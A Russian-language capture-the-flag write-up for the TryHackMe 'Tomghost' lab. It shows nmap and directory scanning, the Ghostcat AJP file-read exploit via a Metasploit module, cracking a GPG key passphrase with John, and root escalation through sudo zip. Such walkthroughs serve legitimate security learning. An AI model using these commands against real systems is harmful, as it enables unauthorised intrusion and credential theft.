Перейти к содержанию

Tomghost

Основная задача - закрепление элементарных базовых навыков: разведки, брутфорса, эскалации привилегий.
Описание задания можно найти на TryHackme.

Сканирование

Проведение разведки с nmap на предмет наличия открытых портов:

sudo nmap -T4  -p- IP-ADDRESS
#После получения сведений о портах
sudo nmap -sV -sC -O -p 22,8080,8009 $IP-ADDRESS 

Обнаружены открытые порты 22, 8080, 8009.
Получены версии, наименования ПО работающего на открытых портах

Изучение source кода

На 8080 порту находится домашняя страница Apache TomCat. Ничего интересного там нет.

Перебор страниц и каталогов

Проводим разведку с gobuster или feroxbuster для получения информации о имеющихся директориях и файлов php,txt,js,cgi,html,htm,sh:

feroxbuster -u $IP-ADDRESS -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 64 -x php,txt,js,cgi,html,htm,sh
или
gobuster dir -t 64-u $IP-ADDRESS -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,js,cgi,html,htm,sh
ничего интересного не нашлось

Работа с exploit-db.

Обратил внимание на порт 8009. Погуглил про него, оказалось, что есть эксплойт типа LFI который позволяет прочитать конфиг файлы, а при наличии возможности загружать файлы на сервер, любой LFI может привести к RCE. Нашел такой эксплойт на exploit-db.com, а также как модуль msconsole.

msf> exploit

Запустил эксплойт через msconsole:

msconsole
msf> search tomcat
   ...
   4   auxiliary/admin/http/tomcat_ghostcat                            2020-02-20       normal     Yes    Apache Tomcat AJP File Read
   ...
msf> use 4
msf> set RHOST '$TARGET_IP'
msf> exploit
Получил в ответ страницу WEB-IN/web.xml в поле desription которой обнаружена строка похожая на креды.

Поиск флагов

Воспользовался найдеными сведениями для подключения по ssh. Пользователь не обладает sudo. find-ом нашел флаг user.txt, который находится в /home другого пользователя. в текущем каталоге нашел файл credentional.pgp и приватный ключ к нему tryhackme.asc

Пробуем расшифровать gpg файл:

gpg --import-key tryhackme
gpg --decrypt credentional.pgp # попросил пароль
оказалось, что ключ запаролен. Не беда, отправим его джону.

Через scp скачал файл приватного ключа. Скормил его gpg2john для дальнейшей передачи в John:

gpg2john tryhackme.asc > hash
john --wordlist=/usr/share/wordlist/rockyou.txt hash
получил пароль приватного ключа. Далее дешифровал credentional.gpg - получил креды пользователя-владельца user.txt

Через sudo -l узнал, что пользователь может запускать zip из-под sudo. На gtofbins нашел инфу, получил root, получил флаг.